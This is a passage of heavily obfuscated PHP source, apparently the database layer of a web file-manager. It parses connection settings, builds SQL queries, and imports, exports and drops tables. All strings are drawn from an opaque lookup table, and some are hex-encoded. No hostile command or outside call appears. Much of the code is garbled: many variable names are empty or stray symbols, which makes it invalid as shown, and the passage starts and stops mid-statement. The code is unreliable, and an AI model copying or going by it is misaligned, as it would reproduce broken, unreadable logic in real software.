$_SERVER[㫙]; if (!empty($ȹ) && is_string($ȹ)) { $ȹ = $this->parseDSN($ȹ); } elseif (is_array($ȹ)) { $ȹ = array_change_key_case($ȹ); $ȹ = array($[957] => $ȹ[$[963]], $[884] => $ȹ[$[964]], $[885] => $ȹ[$[965]], $[882] => $ȹ[$[966]], $[883] => $ȹ[$[967]], $[21] => $ȹ[$[968]], $[912] => $ȹ[$[969]], $[17] => isset($ȹ[$[970]]) ? $ȹ[$[970]] : array()); } elseif (empty($ȹ)) { if (think_config($[971]) && $[960] != strtolower(think_config($[972]))) { $ȹ = $this->parseDSN(think_config($[971])); } else { $ȹ = array($[957] => think_config($[972]), $[884] => think_config($[973]), $[885] => think_config($[974]), $[882] => think_config($[975]), $[883] => think_config($[976]), $[21] => think_config($[241]), $[912] => think_config($[971]), $[17] => think_config($[977])); } } return $ȹ; } protected function initConnect($ĝ = true) { if (1 == think_config($_SERVER[㫙][22])) { $this->_linkID = $this->multiConnect($ĝ); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ç => $ȹ) { $this->_linkID = $ȹ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ě = false) { $ =& $_SERVER[㫙]; static $ྐ = array(); static $ = -1; if (empty($ྐ)) { foreach ($this->config as $ => $÷) { $ྐ[$] = explode($[50], $÷); } } if (think_config($[978])) { if ($ě || think_config($[388]) === !0) { $ޭ = floor(mt_rand(0, think_config($[979]) - 1)); $ = $ޭ; } else { if (is_numeric(think_config($[980]))) { $ޭ = think_config($[980]); } else { $ޭ = floor(mt_rand(think_config($[979]), count($ྐ[$[882]]) - 1)); } } } else { $ޭ = floor(mt_rand(0, count($ྐ[$[882]]) - 1)); $ = $ޭ; } $ޭ = $ !== -1 ? $ : $ޭ; $ = array($[884] => isset($ྐ[$[884]][$ޭ]) ? $ྐ[$[884]][$ޭ] : $ྐ[$[884]][0], $[885] => isset($ྐ[$[885]][$ޭ]) ? $ྐ[$[885]][$ޭ] : $ྐ[$[885]][0], $[882] => isset($ྐ[$[882]][$ޭ]) ? $ྐ[$[882]][$ޭ] : $ྐ[$[882]][0], $[883] => isset($ྐ[$[883]][$ޭ]) ? $ྐ[$[883]][$ޭ] : $ྐ[$[883]][0], $[21] => isset($ྐ[$[21]][$ޭ]) ? $ྐ[$[21]][$ޭ] : $ྐ[$[21]][0], $[912] => isset($ྐ[$[912]][$ޭ]) ? $ྐ[$[912]][$ޭ] : $ྐ[$[912]][0], $[17] => isset($ྐ[$[17]][$ޭ]) ? $ྐ[$[17]][$ޭ] : $ྐ[$[17]][0]); return $this->connect($, $ޭ); } public function parseDSN($) { $󩬻 =& $_SERVER[㫙]; if (empty($)) { return !1; } $ݗ = parse_url($); if ($ݗ[$󩬻[173]]) { $ = array($󩬻[957] => $ݗ[$󩬻[173]], $󩬻[884] => isset($ݗ[$󩬻[594]]) ? $ݗ[$󩬻[594]] : $󩬻[12], $󩬻[885] => isset($ݗ[$󩬻[981]]) ? $ݗ[$󩬻[981]] : $󩬻[12], $󩬻[882] => isset($ݗ[$󩬻[174]]) ? $ݗ[$󩬻[174]] : $󩬻[12], $󩬻[883] => isset($ݗ[$󩬻[175]]) ? $ݗ[$󩬻[175]] : $󩬻[12], $󩬻[21] => isset($ݗ[$󩬻[78]]) ? substr($ݗ[$󩬻[78]], 1) : $󩬻[12]); } else { preg_match($󩬻[982], trim($), $뱖); $ = array($󩬻[957] => $뱖[1], $󩬻[884] => $뱖[2], $󩬻[885] => $뱖[3], $󩬻[882] => $뱖[4], $󩬻[883] => $뱖[5], $󩬻[21] => $뱖[6]); } $[$󩬻[912]] = $󩬻[12]; return $; } protected function debug() { $ͣ =& $_SERVER[㫙]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $ͣ[983]; if (think_config($ͣ[984])) { think_status($ͣ[985]); think_trace($this->queryStr . $ͣ[986] . think_status($ͣ[24], $ͣ[985], 6) . $ͣ[987], $ͣ[12], $ͣ[988]); } } protected function parseLock($ = false) { $ =& $_SERVER[㫙]; if (!$) { return $[12]; } if ($[914] == $this->dbType) { return $[989]; } return $[990]; } protected function parseSet($) { $ =& $_SERVER[㫙]; foreach ($ as $鹎 => $) { if (is_array($) && $[292] == $[0]) { $ѧ[] = $this->parseKey($鹎) . $[880] . $[1]; } elseif (is_scalar($) || is_null($)) { $ѧ[] = $this->parseKey($鹎) . $[880] . $this->parseValue($); } } return $[991] . implode($[50], $ѧ); } protected function bindParam($, $ݍ) { $this->bind[$_SERVER[㫙][4] . $] = $ݍ; } protected function parseBind($Ò) { $Ò = array_merge($this->bind, $Ò); $this->bind = array(); return $Ò; } function parseKey(&$, $ = true) { if ($) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($ʼવ) { $Ԟ =& $_SERVER[㫙]; $ʼવ = trim($ʼવ); if (!preg_match($Ԟ[992], $ʼવ)) { think_exception($Ԟ[993] . $ʼવ); } return $ʼવ; } protected function parseValue($׀) { $ڊ =& $_SERVER[㫙]; if (is_string($׀)) { $׀ = $ڊ[953] . $this->escapeString($׀) . $ڊ[953]; } elseif (isset($׀[0]) && is_string($׀[0]) && strtolower($׀[0]) == $ڊ[292]) { $׀ = $this->escapeString($׀[1]); } elseif (is_array($׀)) { $׀ = array_map(array($this, $ڊ[954]), $׀); } elseif (is_bool($׀)) { $׀ = $׀ ? $ڊ[89] : $ڊ[190]; } elseif (is_null($׀)) { $׀ = $ڊ[104]; } return $׀; } protected function parseField($ڠ) { $㔭 =& $_SERVER[㫙]; if (is_string($ڠ) && strpos($ڠ, $㔭[50])) { $ڠ = explode($㔭[50], $ڠ); } if (is_array($ڠ)) { $Ӿ = array(); foreach ($ڠ as $ڿ => $蒎) { if (!is_numeric($ڿ)) { $Ӿ[] = $this->parseKey($ڿ, !1) . $㔭[994] . $this->parseKey($蒎); } else { $Ӿ[] = $this->parseKey($蒎); } } $ = implode($㔭[50], $Ӿ); } elseif (is_string($ڠ) && !empty($ڠ)) { $ = $ڠ; } else { $ = $㔭[181]; } return $; } protected function parseTable($) { $̲ɬ =& $_SERVER[㫙]; if (is_array($)) { $ځ = array(); foreach ($ as $ڼ => $፯) { if (!is_numeric($ڼ)) { $ځ[] = $this->parseKey($ڼ) . $̲ɬ[53] . $this->parseKey($፯); } else { $ځ[] = $this->parseKey($ڼ); } } $ = $ځ; } elseif (is_string($)) { if (strstr($, $̲ɬ[53])) { return $; } $ = explode($̲ɬ[50], $); array_walk($, array($this, $̲ɬ[902])); } return $̲ɬ[896] . trim(implode($̲ɬ[995], $), $̲ɬ[380]) . $̲ɬ[896]; } protected function parseWhere($ˀ) { $ػۑ =& $_SERVER[㫙]; $ = $ػۑ[12]; if (is_string($ˀ)) { $ = $ˀ; } else { $ٿ = isset($ˀ[$ػۑ[996]]) ? strtoupper($ˀ[$ػۑ[996]]) : $ػۑ[12]; if (in_array($ٿ, array($ػۑ[997], $ػۑ[998], $ػۑ[999]))) { $ٿ = $ػۑ[53] . $ٿ . $ػۑ[53]; unset($ˀ[$ػۑ[996]]); } else { $ٿ = $ػۑ[1000]; } foreach ($ˀ as $Ű => $) { $ .= $ػۑ[272]; if (is_numeric($Ű)) { $Ű = $ػۑ[1001]; } if (0 === strpos($Ű, $ػۑ[11])) { $ .= $this->parseThinkWhere($Ű, $); } else { if (!preg_match($ػۑ[1002], trim($Ű))) { think_exception(think_lang($ػۑ[1003]) . $ػۑ[4] . $Ű); } $ݨ = is_array($) && isset($[$ػۑ[1004]]); $Ű = trim($Ű); if (strpos($Ű, $ػۑ[278])) { $퇻 = explode($ػۑ[278], $Ű); $ = array(); foreach ($퇻 as $á => $Հ⶝) { $ޚ = $ݨ ? $[$á] : $; $[] = $ػۑ[255] . $this->parseWhereItem($this->parseKey($Հ⶝), $ޚ) . $ػۑ[901]; } $ .= implode($ػۑ[1005], $); } elseif (strpos($Ű, $ػۑ[279])) { $퇻 = explode($ػۑ[279], $Ű); $ = array(); foreach ($퇻 as $á => $Հ⶝) { $ޚ = $ݨ ? $[$á] : $; $[] = $ػۑ[255] . $this->parseWhereItem($this->parseKey($Հ⶝), $ޚ) . $ػۑ[901]; } $ .= implode($ػۑ[1000], $); } else { $ .= $this->parseWhereItem($this->parseKey($Ű), $); } } $ .= $ػۑ[273] . $ٿ; } $ = substr($, 0, -strlen($ٿ)); } return empty($) ? $ػۑ[12] : $ػۑ[1006] . $; } protected function parseWhereItem($罃, $֯Ŝ) { $ڏ =& $_SERVER[㫙]; $َ = $ڏ[12]; if (is_array($֯Ŝ)) { if (is_string($֯Ŝ[0])) { $ = strtolower($֯Ŝ[0]); if (in_array($֯Ŝ[0], array($ڏ[880], $ڏ[1007], $ڏ[1008], $ڏ[1009], $ڏ[1010], $ڏ[1011]))) { $َ .= $罃 . $ڏ[53] . $֯Ŝ[0] . $ڏ[53] . $this->parseValue($֯Ŝ[1]); } elseif (preg_match($ڏ[1012], $֯Ŝ[0])) { $َ .= $罃 . $ڏ[53] . $this->exp[$] . $ڏ[53] . $this->parseValue($֯Ŝ[1]); } elseif (preg_match($ڏ[1013], $֯Ŝ[0])) { if (is_array($֯Ŝ[1])) { $緤 = isset($֯Ŝ[2]) ? strtoupper($֯Ŝ[2]) : $ڏ[998]; if (in_array($緤, array($ڏ[997], $ڏ[998], $ڏ[999]))) { $ʆ؂ = array(); foreach ($֯Ŝ[1] as $ѣ٦) { $ʆ؂[] = $罃 . $ڏ[53] . $this->exp[$] . $ڏ[53] . $this->parseValue($ѣ٦); } $َ .= $ڏ[255] . implode($ڏ[53] . $緤 . $ڏ[53], $ʆ؂) . $ڏ[901]; } } else { $َ .= $罃 . $ڏ[53] . $this->exp[$] . $ڏ[53] . $this->parseValue($֯Ŝ[1]); } } elseif ($ڏ[292] == $) { $َ .= $ڏ[899] . $罃 . $ڏ[53] . $֯Ŝ[1] . $ڏ[1014]; } elseif (preg_match($ڏ[1015], $֯Ŝ[0])) { $َ .= $֯Ŝ[0]; } elseif (preg_match($ڏ[1016], $֯Ŝ[0])) { if (isset($֯Ŝ[2]) && $ڏ[292] == $֯Ŝ[2]) { $َ .= $罃 . $ڏ[53] . $this->exp[$] . $ڏ[53] . $֯Ŝ[1]; } else { if (is_string($֯Ŝ[1])) { $֯Ŝ[1] = explode($ڏ[50], $֯Ŝ[1]); } $ߧ = implode($ڏ[50], $this->parseValue($֯Ŝ[1])); $َ .= $罃 . $ڏ[53] . $this->exp[$] . $ڏ[899] . $ߧ . $ڏ[901]; } } elseif (preg_match($ڏ[1017], $֯Ŝ[0])) { $̰ = is_string($֯Ŝ[1]) ? explode($ڏ[50], $֯Ŝ[1]) : $֯Ŝ[1]; $َ .= $ڏ[899] . $罃 . $ڏ[53] . $this->exp[$] . $ڏ[53] . $this->parseValue($̰[0]) . $ڏ[1000] . $this->parseValue($̰[1]) . $ڏ[273]; } else { think_exception(think_lang($ڏ[1003]) . $ڏ[4] . $֯Ŝ[0]); } } else { $ٔ = count($֯Ŝ); $ꇒ = $ڏ[12]; if (is_string($֯Ŝ[$ٔ - 1])) { $ꇒ = isset($֯Ŝ[$ٔ - 1]) ? strtoupper($֯Ŝ[$ٔ - 1]) : $ڏ[12]; if (in_array($ꇒ, array($ڏ[997], $ڏ[998], $ڏ[999]))) { $ٔ = $ٔ - 1; } } else { $ꇒ = $ڏ[997]; } for ($ׯ = 0; $ׯ < $ٔ; $ׯ++) { $̰ = is_array($֯Ŝ[$ׯ]) ? $֯Ŝ[$ׯ][1] : $֯Ŝ[$ׯ]; if ($ڏ[292] == strtolower($֯Ŝ[$ׯ][0])) { $َ .= $ڏ[255] . $罃 . $ڏ[53] . $̰ . $ڏ[1014] . $ꇒ . $ڏ[53]; } else { $ = is_array($֯Ŝ[$ׯ]) ? $this->exp[strtolower($֯Ŝ[$ׯ][0])] : $ڏ[880]; if (!$ && is_array($֯Ŝ[$ׯ]) && in_array($֯Ŝ[$ׯ][0], array($ڏ[880], $ڏ[1007], $ڏ[1008], $ڏ[1009], $ڏ[1010], $ڏ[1011]))) { $ = $֯Ŝ[$ׯ][0]; } $َ .= $ڏ[255] . $罃 . $ڏ[53] . $ . $ڏ[53] . $this->parseValue($̰) . $ڏ[1014] . $ꇒ . $ڏ[53]; } } $َ = substr($َ, 0, -4); } } else { $َ .= $罃 . $ڏ[1018] . $this->parseValue($֯Ŝ); } return $َ; } protected function parseThinkWhere($ϛ, $) { $ =& $_SERVER[㫙]; $ൟ = $[12]; switch ($ϛ) { case $[347]: $ൟ = $; break; case $[1001]: $ൟ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1019]: parse_str($, $); if (isset($[$[996]])) { $ӱϳ = $[53] . strtoupper($[$[996]]) . $[53]; unset($[$[996]]); } else { $ӱϳ = $[1000]; } $̸ = array(); foreach ($ as $լ => $) { $̸[] = $this->parseKey($լ) . $[1018] . $this->parseValue($); } $ൟ = implode($ӱϳ, $̸); break; } return $ൟ; } protected function parseLimit($Јä) { $ =& $_SERVER[㫙]; return !empty($Јä) ? $[51] . $Јä . $[53] : $[12]; } protected function parseJoin($خ΋) { $ =& $_SERVER[㫙]; $Ꮐ = $[12]; if (!empty($خ΋)) { if (is_array($خ΋)) { foreach ($خ΋ as $ => $ʈ) { if (!1 !== stripos($ʈ, $[1020])) { $Ꮐ .= $[53] . $ʈ; } else { $Ꮐ .= $[1021] . $ʈ; } } } else { $Ꮐ .= $[1021] . $خ΋; } } $Ꮐ = preg_replace($[1022], think_config($[926]) . $[1023], $Ꮐ); return $Ꮐ; } protected function parseOrder($ȝ) { $ݚ =& $_SERVER[㫙]; if (is_array($ȝ)) { $ = array(); foreach ($ȝ as $ => $) { if (is_numeric($)) { $[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($ݚ[1024], $ݚ[1025])) ? $ݚ[53] . $ : $ݚ[12]; if (preg_match($ݚ[1026], $)) { $[] = $this->parseKey($) . $; } else { think_exception($ݚ[1027] . $); } } } $ȝ = implode($ݚ[50], $); } return !empty($ȝ) ? $ݚ[1028] . $ȝ : $ݚ[12]; } protected function parseGroup($) { $ =& $_SERVER[㫙]; return !empty($) ? $[1029] . $ : $[12]; } protected function parseHaving($ϔ) { $ =& $_SERVER[㫙]; return !empty($ϔ) ? $[1030] . $ϔ : $[12]; } protected function parseComment($) { $ =& $_SERVER[㫙]; return !empty($) ? $[1031] . $ . $[1032] : $[12]; } protected function parseDistinct($բ) { $ʏ =& $_SERVER[㫙]; return !empty($բ) ? $ʏ[1033] : $ʏ[12]; } protected function parseUnion($ޮ) { $ϖ =& $_SERVER[㫙]; if (empty($ޮ)) { return $ϖ[12]; } if (isset($ޮ[$ϖ[343]])) { $đ = $ϖ[1034]; unset($ޮ[$ϖ[343]]); } else { $đ = $ϖ[1035]; } foreach ($ޮ as $ɦǬܢ) { $Ʈ[] = $đ . (is_array($ɦǬܢ) ? $this->buildSelectSql($ɦǬܢ) : $ɦǬܢ); } return implode($ϖ[53], $Ʈ); } public function insert($ɵ, $ʾ = array(), $ˑ = false) { $ǩѯ =& $_SERVER[㫙]; $ = $ = array(); $this->model = $ʾ[$ǩѯ[276]]; foreach ($ɵ as $ڳ => $ע) { if (is_array($ע) && $ǩѯ[292] == $ע[0]) { $[] = $this->parseKey($ڳ); $[] = $ע[1]; } elseif (is_scalar($ע) || is_null($ע)) { $[] = $this->parseKey($ڳ); $[] = $this->parseValue($ע); } } $ = ($ˑ ? $ǩѯ[903] : $ǩѯ[904]) . $ǩѯ[905] . $this->parseTable($ʾ[$ǩѯ[274]]) . $ǩѯ[899] . implode($ǩѯ[50], $) . $ǩѯ[900] . implode($ǩѯ[50], $) . $ǩѯ[901]; $ .= $this->parseLock(isset($ʾ[$ǩѯ[844]]) ? $ʾ[$ǩѯ[844]] : !1); $ .= $this->parseComment(!empty($ʾ[$ǩѯ[349]]) ? $ʾ[$ǩѯ[349]] : $ǩѯ[12]); return $this->execute($, $this->parseBind(!empty($ʾ[$ǩѯ[280]]) ? $ʾ[$ǩѯ[280]] : array())); } public function selectInsert($ա, $, $ۑČ = array()) { $ =& $_SERVER[㫙]; $this->model = $ۑČ[$[276]]; if (is_string($ա)) { $ա = explode($[50], $ա); } array_walk($ա, array($this, $[902])); $Ͱ = $[1036] . $this->parseTable($) . $[899] . implode($[50], $ա) . $[1014]; $Ͱ .= $this->buildSelectSql($ۑČ); return $this->execute($Ͱ, $this->parseBind(!empty($ۑČ[$[280]]) ? $ۑČ[$[280]] : array())); } public function update($ͤ, $ը) { $󯪧 =& $_SERVER[㫙]; $this->model = $ը[$󯪧[276]]; $ܝ = $󯪧[1037] . $this->parseTable($ը[$󯪧[274]]) . $this->parseSet($ͤ) . $this->parseWhere(!empty($ը[$󯪧[270]]) ? $ը[$󯪧[270]] : $󯪧[12]) . $this->parseOrder(!empty($ը[$󯪧[360]]) ? $ը[$󯪧[360]] : $󯪧[12]) . $this->parseLimit(!empty($ը[$󯪧[287]]) ? $ը[$󯪧[287]] : $󯪧[12]) . $this->parseLock(isset($ը[$󯪧[844]]) ? $ը[$󯪧[844]] : !1) . $this->parseComment(!empty($ը[$󯪧[349]]) ? $ը[$󯪧[349]] : $󯪧[12]); return $this->execute($ܝ, $this->parseBind(!empty($ը[$󯪧[280]]) ? $ը[$󯪧[280]] : array())); } public function delete($ = array()) { $ƫ =& $_SERVER[㫙]; $this->model = $[$ƫ[276]]; $ͻ˚ = $ƫ[1038] . $this->parseTable($[$ƫ[274]]) . $this->parseWhere(!empty($[$ƫ[270]]) ? $[$ƫ[270]] : $ƫ[12]) . $this->parseOrder(!empty($[$ƫ[360]]) ? $[$ƫ[360]] : $ƫ[12]) . $this->parseLimit(!empty($[$ƫ[287]]) ? $[$ƫ[287]] : $ƫ[12]) . $this->parseLock(isset($[$ƫ[844]]) ? $[$ƫ[844]] : !1) . $this->parseComment(!empty($[$ƫ[349]]) ? $[$ƫ[349]] : $ƫ[12]); return $this->execute($ͻ˚, $this->parseBind(!empty($[$ƫ[280]]) ? $[$ƫ[280]] : array())); } public function select($֐ = array()) { $ =& $_SERVER[㫙]; $this->model = $֐[$[276]]; $ = $this->buildSelectSql($֐); $ = isset($֐[$[344]]) ? $֐[$[344]] : !1; if ($) { $饰 = is_string($[$[95]]) ? $[$[95]] : $[1039] . md5($); $Ь = think_cache($饰, $[12], $); if (!1 !== $Ь) { return $Ь; } } $ = $this->query($, $this->parseBind(!empty($֐[$[280]]) ? $֐[$[280]] : array())); if ($ && !1 !== $) { think_cache($饰, $, $); } return $; } public function buildSelectSql($흘 = array()) { $Ȓ =& $_SERVER[㫙]; if (isset($흘[$Ȓ[348]])) { if (strpos($흘[$Ȓ[348]], $Ȓ[50])) { list($, $) = explode($Ȓ[50], $흘[$Ȓ[348]]); } else { $ = $흘[$Ȓ[348]]; } $ = $ ? $ : 1; $ = isset($) ? $ : (is_numeric($흘[$Ȓ[287]]) ? $흘[$Ȓ[287]] : 20); $Ħȶ = $ * ((int) $ - 1); $흘[$Ȓ[287]] = $Ħȶ . $Ȓ[50] . $; } if (think_config($Ȓ[1040])) { $ = $Ȓ[1041] . md5(serialize($흘)); $ۯ = think_cache($); if ($ۯ) { return $ۯ; } } $ = $this->parseSql($this->selectSql, $흘); $ .= $this->parseLock(isset($흘[$Ȓ[844]]) ? $흘[$Ȓ[844]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($, $켆 = array()) { $Ȕ =& $_SERVER[㫙]; $ = str_replace(array($Ȕ[1042], $Ȕ[1043], $Ȕ[1044], $Ȕ[1045], $Ȕ[1046], $Ȕ[1047], $Ȕ[1048], $Ȕ[1049], $Ȕ[1050], $Ȕ[1051], $Ȕ[1052]), array($this->parseTable("{$켆[$Ȕ[274]]}"), $this->parseDistinct(isset($켆[$Ȕ[1053]]) ? $켆[$Ȕ[1053]] : !1), $this->parseField(!empty($켆[$Ȕ[268]]) ? $켆[$Ȕ[268]] : $Ȕ[181]), $this->parseJoin(!empty($켆[$Ȕ[277]]) ? $켆[$Ȕ[277]] : $Ȕ[12]), $this->parseWhere(!empty($켆[$Ȕ[270]]) ? $켆[$Ȕ[270]] : $Ȕ[12]), $this->parseGroup(!empty($켆[$Ȕ[515]]) ? $켆[$Ȕ[515]] : $Ȕ[12]), $this->parseHaving(!empty($켆[$Ȕ[1054]]) ? $켆[$Ȕ[1054]] : $Ȕ[12]), $this->parseOrder(!empty($켆[$Ȕ[360]]) ? $켆[$Ȕ[360]] : $Ȕ[12]), $this->parseLimit(!empty($켆[$Ȕ[287]]) ? $켆[$Ȕ[287]] : $Ȕ[12]), $this->parseUnion(!empty($켆[$Ȕ[342]]) ? $켆[$Ȕ[342]] : $Ȕ[12]), $this->parseComment(!empty($켆[$Ȕ[349]]) ? $켆[$Ȕ[349]] : $Ȕ[12])), $); return $; } public function getLastSql($֢ = '') { return $֢ ? $this->modelSql[$֢] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($ѐ) { $this->model = $ѐ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ḫ = array()) { $ߺ =& $_SERVER[㫙]; if (empty($ḫ)) { $ḫ = $GLOBALS[$ߺ[6]][$ߺ[21]]; } $this->database = $ḫ; } public function model($ = '') { return new ModelBase($, $_SERVER[㫙][12], $this->database); } public function db($䃠 = false) { $ =& $_SERVER[㫙]; $ͯ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$䃠) { return $this->model()->db(); } $ = $ͯ[$[968]]; $ͯ[$[968]] = $[12]; if ($ͯ[$[963]] == $[960]) { $Ҹ = $ͯ[$[969]]; $ͯ[$[969]] = substr($Ҹ, 0, strrpos($Ҹ, $[1055])); } $this->database = $ͯ; $Ү֧ = $this->model()->db(); try { $ = $Ү֧->execute("\x73\150\157\167\x20\x64\141\x74\x61\142\x61\163\x65\x73\40\154\x69\x6b\145\40\47{$}\x27"); } catch (Exception $ڝ) { } if (!$) { $Ү֧->execute("\x63\x72\145\x61\x74\x65\40\144\x61\164\x61\x62\x61\163\145\x20\x60{$}\140"); } $ͯ[$[968]] = $; if ($ͯ[$[963]] == $[960]) { $ͯ[$[969]] .= $[1055] . $; } $this->database = $ͯ; $Ү֧->execute("\165\x73\145\40\140{$}\140"); return $Ү֧; } public function createTable($ֳ, &$Ҥ) { $ =& $_SERVER[㫙]; if (!IO::exist($ֳ)) { ActionCall($[1056], !0, 0); show_json(LNG($[1057]), !1); } $䆆 = $this->model()->db(); $ = sqlSplit(IO::getContent($ֳ)); foreach ($ as $ƞ܁ܫ) { $ = stripos($ƞ܁ܫ, $[1058]) === 0; if ($) { $Ҥ->task[$[787]] += 1; } $䆆->execute($ƞ܁ܫ); if ($) { preg_match($[1059], $ƞ܁ܫ, $); $Ҥ->task[$[1060]] = $[1]; $Ҥ->update(1); } } } public function insertTable($, &$) { $ =& $_SERVER[㫙]; $ٯ = $this->model()->db(); $ = $㭽Ɖ ? array($㭽Ɖ) : $ٯ->getTables(); foreach ($ as $̢) { $㭽Ɖ = basename($̢, $[789]); if (!in_array($㭽Ɖ, $)) { continue; } $->task[$[1060]] = $㭽Ɖ; if (get_filesize($̢) == 0) { continue; } $»ւ = $this->sqlToDb($̢, $); if (!$»ւ) { ActionCall($[1056], !0, 0); show_json(LNG($[1061]) . "\x5b{$㭽Ɖ}\x5d", !1); } } } public function sqlFromDb($, $, &$۬, $ = '') { if ($۬) { $۬->task[$_SERVER[㫙][1060]] = $; } $ = $this->model($); $ = 0; $ۘ = 0; $η = 10000; $擀 = fopen($, $_SERVER[㫙][1062]); $ȍ = $->getPk(); $ª = $->getDbFields(); $ظò = $_SERVER[㫙][12]; if ($GLOBALS[$_SERVER[㫙][788]] && in_array($, array($_SERVER[㫙][1063], $_SERVER[㫙][1064]))) { $ظò = $; } do { $ = array($ȍ => array($_SERVER[㫙][1010], $ۘ)); $Ȩ = $->where($)->field($ª)->order($ȍ . $_SERVER[㫙][1065])->limit($η)->select(); $Ȩ = !empty($Ȩ) ? $Ȩ : array(); if (!($͘ = count($Ȩ))) { break; } $𣖾 = end($Ȩ); $ۘ = $𣖾[$ȍ]; $Ɋ = array(); foreach ($Ȩ as $) { if ($ظò) { if ($ == $_SERVER[㫙][1063]) { if ($[$_SERVER[㫙][33]] == $_SERVER[㫙][1066]) { $ҍ = json_decode($[$_SERVER[㫙][369]], !0); if ($ҍ[$_SERVER[㫙][32]] == $GLOBALS[$_SERVER[㫙][788]] && $ҍ[$_SERVER[㫙][751]] != 1) { continue; } } } else { if ($[$_SERVER[㫙][33]] == $_SERVER[㫙][1067] && $[$_SERVER[㫙][95]] == $_SERVER[㫙][780]) { continue; } } } if ($) { $[$_SERVER[㫙][78]] = "\173\x69\157\x3a{$}\x7d" . substr($[$_SERVER[㫙][78]], strlen("\x7b\x69\157\72{$[$_SERVER[㫙][818]]}\175")); $[$_SERVER[㫙][818]] = $; } $Ɋ[] = $_SERVER[㫙][1068] . $this->sqlEncode($) . $_SERVER[㫙][1069]; } $ʗ = "\111\116\x53\105\x52\x54\x20\x49\x4e\x54\117\40\140{$}\x60\x20\x28\x60" . implode($_SERVER[㫙][1070], $ª) . $_SERVER[㫙][1071]; fwrite($擀, $ʗ . implode($_SERVER[㫙][1072], $Ɋ) . $_SERVER[㫙][71] . PHP_EOL); $ += $͘; if ($۬) { $۬->update($͘); } } while ($η == $͘); fclose($擀); return $; } public function sqlToDb($, &$) { $ =& $_SERVER[㫙]; $ʩ = $this->model()->db(); $۟ = @fopen($, $[1073]); if (!$۟) { return !1; } $՚ڦ = 0; $ȼ̤ = $[12]; $ާ = array(); $̈ = $this->dbType(); $է = $̈ == $[13] ? 500 : 2000; $ = basename($, $[789]); $ = 0; $ٸ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($۟)) { $ҿ = trim(fgets($۟)); if (!$ҿ) { continue; } $ɜ = $this->sqlDecode($ҿ, $̈, $); if (stripos($ɜ, $[350]) === 0) { if (!$ȼ̤) { $ȼ̤ = $ɜ . $[53]; } continue; } if ($) { $->task[$[787]] += 1; } $՚ڦ++; $ާ[] = rtrim(rtrim(trim($ɜ), $[50]), $[71]); $ڎ = null; $ = strlen($ɜ); $ += $; if ($ >= ($է == 500 ? $ : $ٸ)) { $ڎ = array_pop($ާ); if ($՚ڦ > 1) { $՚ڦ--; } } if ($՚ڦ >= $է || $ڎ) { $ɜ = $ȼ̤ . implode($[50], $ާ); if (!$ʩ->execute($ɜ)) { return !1; } if ($) { $->update($՚ڦ); } $ާ = array(); $՚ڦ = 0; $ = 0; if ($ڎ) { $ާ = array($ڎ); $՚ڦ = 1; $ = $; } } } fclose($۟); if (!empty($ާ)) { $ɜ = $ȼ̤ . implode($[50], $ާ); if (!$ʩ->execute($ɜ)) { return !1; } if ($) { $->update($՚ڦ); } } return !0; } public function dropTable($ = null) { $ȋȇ = $this->model()->db(); $Ƃ = $ ? array($) : $ȋȇ->getTables(); if (!$Ƃ) { return; } foreach ($Ƃ as $) { if ($) { $ = strtolower($); } else { continue; } $ȋȇ->execute("\144\162\157\x70\40\164\141\142\x6c\x65\x20\x69\146\40\145\x78\151\x73\164\x73\x20\x60{$}\140"); } } private function sqlEncode($Û̜) { $ =& $_SERVER[㫙]; $ = array(); foreach ($Û̜ as $ꐻ) { if (is_array($ꐻ)) { $ꐻ = json_encode_force($ꐻ); } $ꐻ = addslashes($ꐻ); $ꐻ = str_replace(array($[1074], $[226]), array($[1075], $[1076]), $ꐻ); $[] = str_replace($[58], $[1077], $ꐻ); } return $[58] . implode($[1078], $) . $[58]; } private function sqlDecode($첏, $, $ā = '') { $诬 =& $_SERVER[㫙]; $첏 = str_replace(array($诬[1075], $诬[1076]), array($诬[1074], $诬[226]), $첏); if ($ == $诬[13]) { return $ā != $诬[1079] ? stripslashes($첏) : $첏; } if ($ā == $诬[1079]) { $첏 = str_replace($诬[1080], $诬[117], stripslashes($첏)); } return $첏; } public function getSqlFile($ = '') { $Õ =& $_SERVER[㫙]; $֛Ç = $this->dbType(!0); $п = CONTROLLER_DIR . "\x69\156\163\164\141\x6c\x6c\57\x64\141\164\x61\x2f{$֛Ç}\x2e\x73\161\x6c"; $֋ = file_get_contents($п); $ = $Õ[1081] . ($֛Ç == $Õ[805] ? $Õ[1082] : $Õ[1083]) . $Õ[1084]; preg_match_all($, $֋, $ߚ); $ɀ = $ߚ[1]; $򜹺 = $this->model()->db(); $ = $򜹺->getTables(); $ = TEMP_FILES . $Õ[1085] . date($Õ[752]) . $Õ[8]; del_dir($); mk_dir($); $ڇ = $ . $Õ[1086]; $߳ = $ . $Õ[1087]; $ʹ = $֛Ç == $Õ[13] ? $Õ[805] : $Õ[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\x73\x74\x61\154\154\57\x64\141\164\141\x2f{$ʹ}\x2e\x73\161\x6c", $); @touch($ . $֛Ç . $Õ[789]); $ޙ = fopen($ڇ, $Õ[1062]); $උdz = fopen($߳, $Õ[1062]); if ($֛Ç == $Õ[13]) { $ = array_diff($, array($Õ[785], $Õ[786])); $ᩰ = array($Õ[1088], $Õ[1089], $Õ[1090]); fwrite($උdz, implode(PHP_EOL, $ᩰ) . PHP_EOL . PHP_EOL); foreach ($ as $Ʈ볲) { $ޕ = $this->sqlFromSqlite($Ʈ볲); if (!$ޕ[$Õ[13]]) { continue; } fwrite($උdz, $ޕ[$Õ[13]] . PHP_EOL . PHP_EOL); if (!in_array($Ʈ볲, 